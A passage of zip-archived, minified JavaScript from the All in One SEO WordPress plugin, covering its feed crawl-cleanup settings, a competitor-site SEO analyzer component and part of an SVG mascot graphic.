ppearance.advanced,type:"posts"},null,8,["options"])]),_:1},8,["name"])):u("",!0),o.optionsStore.internalOptions.internal.deprecatedOptions.includes("excludeTerms")?(d(),_(h,{key:7,name:s.strings.excludeTerms,class:"aioseo-exclude-terms",align:""},{content:i(()=>[n(k,{options:o.optionsStore.options.deprecated.searchAppearance.advanced,type:"terms"},null,8,["options"])]),_:1},8,["name"])):u("",!0)]),_:1},8,["header-text"]),n(S,{class:"aioseo-rss-content-advanced",slug:"searchAdvancedCrawlCleanup",toggles:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.enable},{header:i(()=>[n(c,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.enable,"onUpdate:modelValue":t[11]||(t[11]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.enable=l)},null,8,["modelValue"]),r("span",null,a(s.strings.crawlCleanup),1),o.optionsStore.options.searchAppearance.advanced.crawlCleanup.enable?u("",!0):(d(),_(P,{key:0},{tooltip:i(()=>[g(a(s.strings.crawlCleanupDescription)+" ",1),r("span",{innerHTML:e.$links.getDocLink(e.$constants.GLOBAL_STRINGS.learnMore,"crawlCleanup",!0)},null,8,Ee)]),default:i(()=>[n(C)]),_:1}))]),default:i(()=>[r("div",We,[g(a(s.strings.crawlCleanupDescription)+" ",1),r("span",{innerHTML:e.$links.getDocLink(e.$constants.GLOBAL_STRINGS.learnMore,"crawlCleanup",!0)},null,8,Ye)]),n(h,{id:"crawl-content-global-feed",name:s.strings.globalFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.global,"onUpdate:modelValue":t[12]||(t[12]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.global=l),name:"global",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.global?(d(),f("div",ze,[g(a(s.strings.globalFeedDescription)+" "+a(s.strings.disableGlobalFeedAlert)+" ",1),r("div",Je,[r("a",{href:o.rootStore.aioseo.urls.feeds.global,target:"_blank"},a(s.strings.openYourRssFeed),9,je),r("a",{class:"no-underline",href:o.rootStore.aioseo.urls.feeds.global,target:"_blank"},[g(" "),n(L)],8,Xe)])])):u("",!0),o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.global?u("",!0):(d(),_(v,{key:1,type:"red"},{default:i(()=>[g(a(s.strings.disableGlobalFeedAlert),1)]),_:1}))]),_:1},8,["name"]),n(h,{name:s.strings.globalCommentsFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.globalComments,"onUpdate:modelValue":t[13]||(t[13]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.globalComments=l),name:"globalComments",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),r("div",Ze,a(s.strings.globalCommentsFeedDescription),1),o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.globalComments?(d(),f("div",es,[r("a",{href:o.rootStore.aioseo.urls.feeds.globalComments,target:"_blank"},a(s.strings.openYourCommentsRssFeed),9,ss),r("a",{class:"no-underline",href:o.rootStore.aioseo.urls.feeds.globalComments,target:"_blank"},[g(" "),n(L)],8,ts)])):u("",!0)]),_:1},8,["name"]),o.rootStore.aioseo.data.staticBlogPage?(d(),_(h,{key:0,name:s.strings.staticBlogPageFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.staticBlogPage,"onUpdate:modelValue":t[14]||(t[14]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.staticBlogPage=l),name:"staticBlogPage",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),r("div",os,a(s.strings.staticBlogPageFeedDescription),1),o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.staticBlogPage?(d(),f("div",ns,[r("a",{href:o.rootStore.aioseo.urls.feeds.staticBlogPage,target:"_blank"},a(s.strings.openYourStaticBlogPageFeed),9,is),r("a",{class:"no-underline",href:o.rootStore.aioseo.urls.feeds.staticBlogPage,target:"_blank"},[g(" "),n(L)],8,as)])):u("",!0)]),_:1},8,["name"])):u("",!0),n(h,{name:s.strings.authorsFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.authors,"onUpdate:modelValue":t[15]||(t[15]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.authors=l),name:"authors",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),r("div",rs,a(s.strings.authorsFeedDescription),1)]),_:1},8,["name"]),n(h,{name:s.strings.postCommentsFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.postComments,"onUpdate:modelValue":t[16]||(t[16]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.postComments=l),name:"postComments",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),r("div",ls,a(s.strings.postCommentsFeedDescription),1)]),_:1},8,["name"]),n(h,{name:s.strings.searchFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.search,"onUpdate:modelValue":t[17]||(t[17]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.search=l),name:"search",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),r("div",ds,a(s.strings.searchFeedDescription),1)]),_:1},8,["name"]),n(h,{name:s.strings.attachmentsFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.attachments,"onUpdate:modelValue":t[18]||(t[18]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.attachments=l),name:"attachments",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),r("div",cs,a(s.strings.attachmentsFeedDescription),1)]),_:1},8,["name"]),n(h,{name:s.strings.paginatedFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.paginated,"onUpdate:modelValue":t[19]||(t[19]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.paginated=l),name:"paginated",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),r("div",us,a(s.strings.paginatedFeedDescription),1)]),_:1},8,["name"]),o.rootStore.aioseo.postData.archives.length?(d(),_(h,{key:1,name:s.strings.postTypesFeed},{content:i(()=>[n(R,{size:"medium",modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.archives.all,"onUpdate:modelValue":t[20]||(t[20]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.archives.all=l)},{default:i(()=>[g(a(s.strings.includeAllPostTypes),1)]),_:1},8,["modelValue"]),o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.archives.all?u("",!0):(d(),_(M,{key:0,options:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds,type:"archives"},null,8,["options"])),r("div",hs,a(s.strings.selectPostTypes),1)]),_:1},8,["name"])):u("",!0),n(h,{name:s.strings.taxonomiesFeed},{content:i(()=>[n(R,{size:"medium",modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.taxonomies.all,"onUpdate:modelValue":t[21]||(t[21]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.taxonomies.all=l)},{default:i(()=>[g(a(s.strings.includeAllTaxonomies),1)]),_:1},8,["modelValue"]),o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.taxonomies.all?u("",!0):(d(),_(M,{key:0,options:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds,type:"taxonomies"},null,8,["options"])),r("div",ps,a(s.strings.selectTaxonomies),1)]),_:1},8,["name"]),n(h,{name:s.strings.atomFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.atom,"onUpdate:modelValue":t[22]||(t[22]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.atom=l),name:"atom",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),r("div",{class:"aioseo-description",innerHTML:s.strings.atomFeedDescription},null,8,gs),o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.atom?(d(),f("div",ms,[r("a",{href:o.rootStore.aioseo.urls.feeds.atom,target:"_blank"},a(s.strings.openYourAtomFeed),9,_s),r("a",{class:"no-underline",href:o.rootStore.aioseo.urls.feeds.atom,target:"_blank"},[g(" "),n(L)],8,ys)])):u("",!0)]),_:1},8,["name"]),n(h,{name:s.strings.rdfFeed,align:""},{content:i(()=>[n(y,{modelValue:o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.rdf,"onUpdate:modelValue":t[23]||(t[23]=l=>o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.rdf=l),name:"rdf",options:[{label:e.$constants.GLOBAL_STRINGS.disabled,value:!1,activeClass:"dark"},{label:e.$constants.GLOBAL_STRINGS.enabled,value:!0}]},null,8,["modelValue","options"]),r("div",{class:"aioseo-description",innerHTML:s.strings.rdfFeedDescription},null,8,bs),o.optionsStore.options.searchAppearance.advanced.crawlCleanup.feeds.rdf?(d(),f("div",fs,[r("a",{href:o.rootStore.aioseo.urls.feeds.rdf,target:"_blank"},a(s.strings.openYourRdfFeed),9,ks),r("a",{class:"no-underline",href:o.rootStore.aioseo.urls.feeds.rdf,target:"_blank"},[g(" "),n(L)],8,Ss)])):u("",!0)]),_:1},8,["name"])]),_:1},8,["toggles"]),n(S,{id:"aioseo-query-arg-monitoring",slug:"queryArgLogs",toggles:o.optionsStore.options.searchAppearance.advanced.blockArgs.enable},{header:i(()=>[n(c,{modelValue:o.optionsStore.options.searchAppearance.advanced.blockArgs.enable,"onUpdate:modelValue":t[24]||(t[24]=l=>o.optionsStore.options.searchAppearance.advanced.blockArgs.enable=l)},null,8,["modelValue"]),r("span",null,a(s.strings.queryArgMonitoring),1)]),default:i(()=>[r("div",vs,[g(a(s.strings.queryArgMonitorDescription)+" ",1),r("span",{innerHTML:e.$links.getDocLink(e.$constants.GLOBAL_STRINGS.learnMore,"queryArgMonitor",!0)},null,8,ws)]),n(h,{name:s.strings.logsRetention,class:"table-retention"},{content:i(()=>[n(U,{size:"medium",options:s.logsRetentionOptions,modelValue:e.getJsonValue(o.optionsStore.options.searchAppearance.advanced.blockArgs.logsRetention),"onUpdate:modelValue":t[25]||(t[25]=l=>o.optionsStore.options.searchAppearance.advanced.blockArgs.logsRetention=e.setJsonValue(l))},null,8,["options","modelValue"])]),_:1},8,["name"]),n(N),n(I)]),_:1},8,["toggles"])])}const rt=D(Oe,[["render",As]]);export{rt as default}; PKÉ—[$3wÛ  ;all-in-one-seo-pack/dist/Lite/assets/js/allowed.B_mIy271.jsnu„[µü¤import{u as t}from"./links.CKSg78-h.js";const e=function(o){const n=t().aioseo.user;return!!n.canManage||!!(n.capabilities&&n.capabilities[o])};export{e as a}; PKÉ—[ÇOÀƒ7&7&Iall-in-one-seo-pack/dist/Lite/assets/js/AnalyzeCompetitorSite.CWN6lOLB.jsnu„[µü¤import{n as x,a as I,u as L,C as v,m as R,e as w}from"./links.CKSg78-h.js";import"./default-i18n.BtxsUzQk.js";import{u as z,S as C}from"./SeoSiteScore.9LP7E1ph.js";import{y as l,o as m,c as p,D as c,m as h,l as b,q as k,x as D,a as i,t as a,H as N,E as y,d as g,F as B,L as M}from"./vue.esm-bundler.DzelZkHk.js";import{_ as A}from"./_plugin-vue_export-helper.BN1snXvA.js";import{s as P}from"./isArrayLikeObject.CkjpbQo7.js";import{C as V,a as F}from"./Score.BDjoJfW4.js";import{p as H}from"./popup.Dv7cb5WI.js";import{C as W}from"./Blur.B433XVqJ.js";import{C as T}from"./Card.C6Yzm1Gr.js";import{C as j}from"./SeoSiteAnalysisResults.DZSlcLAT.js";import{C as q}from"./Index.S3yt8Lmc.js";import{S as G}from"./Refresh.BTBdxJdv.js";import{S as J}from"./index.DX4OhBfI.js";import"./params.B3T1WKlC.js";import"./Tooltip.DcUmvaHX.js";import"./Caret.Cuasz9Up.js";import"./Slide.BfXXFx9A.js";import"./Tags.BcJqtOJO.js";import"./tags.BOsOOXAU.js";import"./postSlug.D1i5fFFO.js";import"./metabox.BW1QyeRU.js";import"./cleanForSlug.C_GG_Tvc.js";import"./toString.EVG10Qqs.js";import"./_baseTrim.BYZhh0MR.js";import"./_stringToArray.DnK4tKcY.js";import"./get.CmvQfcJ_.js";import"./GoogleSearchPreview.C5aCQaFX.js";import"./strings.gPxlDykU.js";import"./isString.Dmb68Xbt.js";import"./constants.DARe-ccJ.js";import"./Information.Dx9dnFtu.js";import"./Gear.CzHv0eD2.js";const Y={setup(){const{strings:e}=z();return{connectStore:x(),optionsStore:I(),rootStore:L(),strings:e}},components:{CoreBlur:W,CoreCard:T},mixins:[C],data(){return{score:0}},methods:{openPopup(e){H(e,this.connectWithAioseo,600,630,!0,["token"],this.completedCallback,()=>{})},completedCallback(e){return this.connectStore.saveConnectToken(e.token)}}},K={key:0,class:"aioseo-seo-site-score-cta"};function Q(e,o,s,r,t,n){const d=l("core-card");return m(),p("div",null,[c(d,{slug:"analyzeNewCompetitor","hide-header":"","no-slide":"",toggles:!1},{default:h(()=>[(m(),b(D(r.optionsStore.internalOptions.internal.siteAnalysis.connectToken?"div":"core-blur"),null,{default:h(()=>[k(e.$slots,"default")]),_:3})),r.optionsStore.internalOptions.internal.siteAnalysis.connectToken?g("",!0):(m(),p("div",K,[i("a",{href:"#",onClick:o[0]||(o[0]=N(S=>n.openPopup(r.rootStore.aioseo.urls.connect),["prevent"]))},a(e.connectWithAioseo),1),y(" "+a(r.strings.toAnalyzeCompetitorSite),1)]))]),_:3}),r.optionsStore.internalOptions.internal.siteAnalysis.connectToken?k(e.$slots,"competitor-results",{key:0}):g("",!0)])}const X=A(Y,[["render",Q]]),Z={setup(){const{strings:e}=z();return{analyzerStore:v(),composableStrings:e}},components:{CoreSiteScore:q,SvgRefresh:G},mixins:[C],props:{score:Number,loading:Boolean,site:{type:String,required:!0},summary:{type:Object,default(){return{}}},mobileSnapshot:String},data(){return{isAnalyzing:!1,strings:R(this.composableStrings,{criticalIssues:this.$t.__("Important Issues",this.$td),warnings:this.$t.__("Warnings",this.$td),recommendedImprovements:this.$t.__("Recommended Improvements",this.$td),goodResults:this.$t.__("Good Results",this.$td),completeSiteAuditChecklist:this.$t.__("Complete Site Audit Checklist",this.$td),refreshResults:this.$t.__("Refresh Results",this.$td),mobileSnapshot:this.$t.__("Mobile Snapshot",this.$td)})}},methods:{refresh(){this.isAnalyzing=!0,this.analyzerStore.runSiteAnalyzer({url:this.site,refresh:!0}).then(()=>this.isAnalyzing=!1)}}},ee={class:"aioseo-site-score-competitor"},te={class:"aioseo-seo-site-score-score"},se={class:"aioseo-seo-site-score-recommendations"},oe={class:"critical"},re={class:"round red"},ie={class:"recommended"},ne={class:"round blue"},ae={class:"good"},le={class:"round green"},ce={key:0,class:"mobile-snapshot"},me=["src"];function he(e,o,s,r,t,n){const d=l("core-site-score"),S=l("svg-refresh"),f=l("base-button");return m(),p("div",ee,[i("div",te,[c(d,{loading:t.isAnalyzing||s.loading,score:s.score,description:e.description},null,8,["loading","score","description"])]),i("div",se,[i("div",oe,[i("span",re,a(s.summary.critical||0),1),y(" "+a(t.strings.criticalIssues),1)]),i("div",ie,[i("span",ne,a(s.summary.recommended||0),1),y(" "+a(t.strings.recommendedImprovements),1)]),i("div",ae,[i("span",le,a(s.summary.good||0),1),y(" "+a(t.strings.goodResults),1)])]),c(f,{class:"refresh-results",type:"gray",size:"small",onClick:n.refresh,loading:t.isAnalyzing},{default:h(()=>[c(S),y(" "+a(t.strings.refreshResults),1)]),_:1},8,["onClick","loading"]),s.mobileSnapshot?(m(),p("div",ce,[i("div",null,a(t.strings.mobileSnapshot),1),i("img",{alt:"Mobile Snapshot",src:s.mobileSnapshot},null,8,me)])):g("",!0)])}const pe=A(Z,[["render",he]]),ue={setup(){const{strings:e}=z();return{analyzerStore:v(),settingsStore:w(),composableStrings:e}},components:{CoreAnalyze:V,CoreAnalyzeScore:F,CoreAnalyzeCompetitorSiteHeader:X,CoreCard:T,CoreSeoSiteAnalysisResults:j,CoreSiteScoreCompetitor:pe,SvgTrash:J},mixins:[C],data(){return{score:0,competitorUrl:null,isAnalyzing:!1,inputError:!1,competitorResults:{},analyzeTime:8,strings:R(this.composableStrings,{enterCompetitorUrl:this.$t.__("Enter Competitor URL",this.$td),performInDepthAnalysis:this.$t.__("Perform in-depth SEO Analysis of your competitor's website.",this.$td),analyze:this.$t.__("Analyze",this.$td),pleaseEnterValidUrl:this.$t.__("Please enter a valid URL.",this.$td)})}},watch:{"analyzerStore.analyzeError"(e){e&&(this.isAnalyzing=!1)}},computed:{getError(){switch(this.analyzerStore.analyzeError){case"invalid-url":return this.$t.__("The URL provided is invalid.",this.$td);case"missing-content":return this.$t.sprintf("%1$s %2$s",this.$t.__("We were unable to parse the content for this site.",this.$td),this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"seoAnalyzerIssues",!0));case"invalid-token":return this.$t.sprintf(this.$t.__("Your site is not connected. Please connect to %1$s, then try again.",this.$td),"AIOSEO")}return this.analyzerStore.analyzeError}},methods:{parseResults(e){return JSON.parse(e)},getSummary(e){return{recommended:this.analyzerStore.recommendedCount(e),critical:this.analyzerStore.criticalCount(e),good:this.analyzerStore.goodCount(e)}},startAnalyzing(e){if(this.inputError=!1,this.competitorUrl=e.replace("http://","https://"),this.competitorUrl.startsWith("https://")||(this.competitorUrl="https://"+this.competitorUrl),!P(this.competitorUrl)){this.inputError=!0;return}this.analyzerStore.analyzing=!0,this.analyzerStore.analyzeError=!1,this.analyzerStore.runSiteAnalyzer({url:this.competitorUrl}),this.isAnalyzing=!0,setTimeout(this.checkStatus,this.analyzeTime*1e3),this.closeAllCards()},checkStatus(){if(this.isAnalyzing=!1,this.analyzerStore.analyzing){this.$nextTick(()=>{this.isAnalyzing=!0,2>this.analyzeTime&&(this.analyzeTime=8),this.analyzeTime=this.analyzeTime/2,setTimeout(this.checkStatus,this.analyzeTime*1e3)});return}this.competitorUrl=null,this.competitorResults=this.analyzerStore.getCompetitorSiteAnalysisResults,this.toggleFirstCard(),this.$nextTick(()=>{const e=Object.keys(this.competitorResults),o=document.querySelector(".aioseo-header"),s=o.offsetHeight+o.offsetTop+30;this.$scrollTo("#aioseo-competitor-results"+this.hashCode(e[0]),{offset:-s})})},startDeleteSite(e){this.closeAllCards(),delete this.competitorResults[e],this.analyzerStore.deleteCompetitorSite(e).then(()=>{this.competitorResults=this.analyzerStore.getCompetitorSiteAnalysisResults})},closeAllCards(){Object.keys(this.competitorResults).forEach(o=>{this.settingsStore.closeCard("analyzeCompetitorSite"+o)})},toggleFirstCard(){const e=Object.keys(this.competitorResults);this.settingsStore.toggleCard({slug:"analyzeCompetitorSite"+e[0]})},hashCode(e){if(!e)return;let o=0,s,r;for(s=0;s[(m(!0),p(B,null,M(t.competitorResults,(_,u)=>(m(),b(U,{key:u,id:"aioseo-competitor-results"+n.hashCode(u),slug:"analyzeCompetitorSite"+u,"save-toggle-status":!1},{header:h(()=>[c(S,{score:n.parseResults(_).score},null,8,["score"]),i("span",null,a(u),1),c(f,{onClick:ze=>n.startDeleteSite(u)},null,8,["onClick"])]),default:h(()=>[i("div",ge,[c(E,{site:u,score:n.parseResults(_).score,loading:r.analyzerStore.analyzing,summary:n.getSummary(n.parseResults(_).results),"mobile-snapshot":n.parseResults(_).results.advanced.mobileSnapshot},null,8,["site","score","loading","summary","mobile-snapshot"]),i("div",Se,[c($,{section:"all-items","all-results":n.parseResults(_).results,"show-google-preview":""},null,8,["all-results"])])])]),_:2},1032,["id","slug"]))),128))]),default:h(()=>[c(d,{header:t.strings.enterCompetitorUrl,description:t.strings.performInDepthAnalysis,inputError:t.inputError,isAnalyzing:t.isAnalyzing,analyzeTime:t.analyzeTime,placeholder:"https://competitorwebsite.com",onStartAnalyzing:n.startAnalyzing},{errors:h(()=>[t.inputError?(m(),p("div",_e,a(t.strings.pleaseEnterValidUrl),1)):g("",!0),r.analyzerStore.analyzer==="competitor-site"&&r.analyzerStore.analyzeError?(m(),p("div",{key:1,class:"analyze-errors aioseo-description aioseo-error",innerHTML:r.analyzerStore.analyzeError},null,8,ye)):g("",!0)]),_:1},8,["header","description","inputError","isAnalyzing","analyzeTime","onStartAnalyzing"])]),_:1})])}const et=A(ue,[["render",fe]]);export{et as default}; PKÉ—[Râ)cécéBall-in-one-seo-pack/dist/Lite/assets/js/AnimatedDannie.tdPgYao3.jsnu„[µü¤import{o as c,c as t,a as l,l as s,x as p}from"./vue.esm-bundler.DzelZkHk.js";import{_ as f}from"./_plugin-vue_export-helper.BN1snXvA.js";const h={},y={width:"100%",height:"100%",viewBox:"0 0 359 436",version:"1.1",xmlns:"http://www.w3.org/2000/svg","xmlns:xlink":"http://www.w3.org/1999/xlink","xml:space":"preserve","xmlns:serif":"http://www.serif.com/",style:{"fill-rule":"evenodd","clip-rule":"evenodd","stroke-linejoin":"round","stroke-miterlimit":"2"}},Z=l("g",null,[l("path",{d:"M187.384,412.157c-72.576,0 -131.401,-4.103 -131.401,-9.215c0,-5.113 58.825,-9.289 131.401,-9.289c72.504,0 131.328,4.176 131.328,9.289c0,5.112 -58.824,9.215 -131.328,9.215Z",style:{fill:"#dee1e3","fill-rule":"nonzero"}}),l("path",{d:"M240.16,386.022l-7.992,10.584l-44.784,4.895l-4.392,-21.239l4.392,-41.185l46.656,0l6.12,46.945Z",style:{fill:"#17113b"}}),l("path",{d:"M235.84,393.15l-23.4,0l-0.792,-45.792l15.048,0l5.688,43.128l3.456,2.664Z",style:{fill:"#2b2b57"}}),l("path",{d:"M260.247,401.501l-72.863,0c16.56,-23.327 57.024,-24.911 72.863,0Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M134.536,386.022l10.872,9.719l41.976,5.76l0,-62.424l-46.656,0l-6.192,46.945Z",style:{fill:"#2b2b57"}}),l("path",{d:"M138.856,393.15l25.488,0l0.432,-45.792l-16.776,0l-5.688,43.128l-3.456,2.664Z",style:{fill:"#414076"}}),l("path",{d:"M114.448,401.501l72.936,0c-17.136,-26.063 -61.344,-24.336 -72.936,0Z",style:{fill:"#ed7b46"}}),l("path",{d:"M155.632,248.646l0.936,48.887c-23.544,19.873 -39.528,28.369 -69.769,34.057l-7.056,1.296l2.016,-64.944c4.681,0.36 5.112,0.719 9.72,-0.144c14.185,-2.664 43.633,-11.232 56.521,-16.2l7.632,-2.952Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M150.016,256.997l0.792,37.945c-22.752,19.152 -39.024,26.135 -65.089,30.96l1.584,-51.768c5.76,0.432 46.009,-10.656 62.713,-17.137Z",style:{fill:"#d2e9f1"}}),l("path",{d:"M44.103,303.293c-2.663,-19.223 10.728,-36.935 29.952,-39.599c8.208,-1.152 16.128,0.648 22.752,4.536c8.857,5.256 11.521,18.36 4.609,27.431l-19.729,31.033l16.921,0.864c-4.321,2.88 -9.361,4.895 -14.905,5.687c-19.152,2.664 -36.936,-10.727 -39.6,-29.952Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M49.575,302.573c2.232,16.128 17.208,27.433 33.408,25.201c16.2,-2.233 27.505,-17.208 25.201,-33.409c-2.232,-16.2 -17.209,-27.431 -33.337,-25.2c-16.2,2.233 -27.504,17.208 -25.272,33.408Z",style:{fill:"#bed6de"}}),l("path",{d:"M108.472,299.766c0.072,-1.729 0,-3.528 -0.288,-5.401c-2.232,-16.2 -17.209,-27.431 -33.337,-25.2c-4.968,0.649 -9.504,2.593 -13.32,5.328c-0.072,1.8 0,3.601 0.289,5.401c2.231,16.2 17.135,27.504 33.335,25.2c4.969,-0.648 9.505,-2.521 13.321,-5.328Z",style:{fill:"#fff"}}),l("path",{d:"M73.983,271.614c13.32,-0.72 24.336,10.728 24.625,25.56c0.287,14.832 -10.297,27.504 -23.545,28.296c-13.32,0.72 -24.336,-10.729 -24.623,-25.561c-0.289,-14.832 10.295,-27.503 23.543,-28.295Z",style:{fill:"#fff"}}),l("path",{d:"M72.111,270.606c-12.888,0.719 -23.04,12.96 -22.824,27.36c0.288,14.327 10.945,25.416 23.832,24.695c12.816,-0.719 23.04,-12.96 22.752,-27.359c-0.288,-14.4 -10.872,-25.488 -23.76,-24.696Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M65.199,272.117c-6.408,4.537 -10.44,11.305 -10.296,18.721c0.504,17.64 20.376,26.928 36.144,21.096c3.168,-4.681 4.968,-10.441 4.824,-16.632c-0.288,-14.4 -10.872,-25.488 -23.76,-24.696c-2.448,0.072 -4.752,0.647 -6.912,1.511Z",style:{fill:"#9c4822"}}),l("path",{d:"M28.047,289.325c-2.88,-1.656 -4.968,-4.391 -5.616,-7.847c-0.792,-3.96 0.432,-8.28 3.312,-11.088c2.304,-2.16 5.256,-3.168 8.424,-2.952c5.832,0.504 11.664,0.36 17.424,-0.72c5.256,-1.009 10.8,-0.36 15.84,1.367c5.256,1.729 10.368,4.681 14.256,8.569c3.817,3.816 6.624,8.711 6.768,14.112c0.144,3.672 -1.08,7.128 -3.24,10.151c-5.256,7.2 -10.224,13.105 -12.96,21.744c-0.504,1.513 -1.224,2.88 -2.231,4.105c-3.745,4.68 -10.225,6.408 -15.985,5.616c-5.976,-0.721 -11.232,-4.032 -13.608,-9.433l-1.008,-0.072c-17.711,-1.008 -22.32,-20.592 -11.952,-32.903c0.216,-0.216 0.36,-0.433 0.576,-0.649Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M49.863,279.749c-6.552,2.952 -14.544,7.992 -18.864,13.177c-7.703,9.071 -5.616,24.552 8.713,25.416c-0.433,-7.488 2.447,-15.408 7.631,-19.656c-3.6,-1.296 -7.2,-2.017 -11.376,-2.521c6.768,-6.263 23.616,2.305 26.928,12.097c-4.32,-3.528 -8.064,-6.12 -11.807,-7.92c-5.905,5.399 -8.209,13.823 -7.201,18.504c2.449,11.664 21.024,11.808 23.976,2.447c2.736,-8.712 6.192,-12.887 13.68,-23.111c9.649,-13.32 -12.168,-30.097 -29.088,-26.929c-4.535,0.792 -10.512,1.441 -18.648,0.792c-7.92,-0.647 -10.152,11.952 -1.44,14.04c2.52,-2.304 10.872,-6.983 17.496,-6.336Z",style:{fill:"#ed7b46"}}),l("path",{d:"M49.863,279.749c-6.552,2.952 -14.544,7.992 -18.864,13.177c-2.016,2.376 -3.384,5.184 -4.032,8.136c-1.728,8.136 8.136,13.752 13.392,9.719c1.081,-4.824 3.528,-9.288 6.984,-12.095c-3.6,-1.296 -7.2,-2.017 -11.376,-2.521c6.768,-6.263 23.616,2.305 26.928,12.097c-4.32,-3.528 -8.064,-6.12 -11.807,-7.92c-3.529,3.239 -5.833,7.632 -6.841,11.664c-2.304,9.359 19.8,12.6 22.104,1.655c1.728,-8.208 9.432,-14.399 13.248,-21.023c2.593,-4.393 1.584,-10.368 -2.159,-13.681c-4.104,-3.743 -9.793,-6.551 -15.553,-7.632c-4.68,-0.864 -18.576,3.384 -28.08,3.384c-4.032,0 -6.912,8.137 -1.44,11.376c2.52,-2.304 10.872,-6.983 17.496,-6.336Z",style:{fill:"#ffd696"}}),l("path",{d:"M65.487,278.022c6.264,2.088 9.936,7.416 8.136,11.952c-1.8,4.536 -8.28,6.552 -14.616,4.464c-6.264,-2.088 -9.936,-7.489 -8.136,-11.952c1.8,-4.537 8.352,-6.552 14.616,-4.464Z",style:{fill:"#ed7b46"}}),l("path",{d:"M152.104,231.798l97.2,0c-3.528,42.695 2.736,102.168 15.84,132.264c-64.08,18.864 -129.024,13.752 -163.296,-2.304c-1.008,-21.816 2.808,-47.593 11.52,-71.496c6.984,-13.177 12.456,-19.513 28.872,-22.464l9.864,-36Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M154.192,237.558c-16.92,14.544 -28.656,35.64 -36.072,56.448c-6.984,19.943 -11.088,42.624 -10.656,64.008c19.584,8.351 44.208,11.592 65.016,12.239c28.368,0.937 57.456,-2.592 84.96,-9.935c-3.6,-9.792 -6.12,-20.376 -8.136,-30.384c-2.88,-14.76 -4.68,-29.809 -5.688,-44.712c-1.152,-15.769 -1.44,-31.824 -0.504,-47.664l-88.92,0Z",style:{fill:"#bed6de"}}),l("path",{d:"M154.192,237.558c-16.92,14.544 -28.656,35.64 -36.072,56.448c-6.984,19.943 -11.088,42.624 -10.656,64.008c16.416,6.983 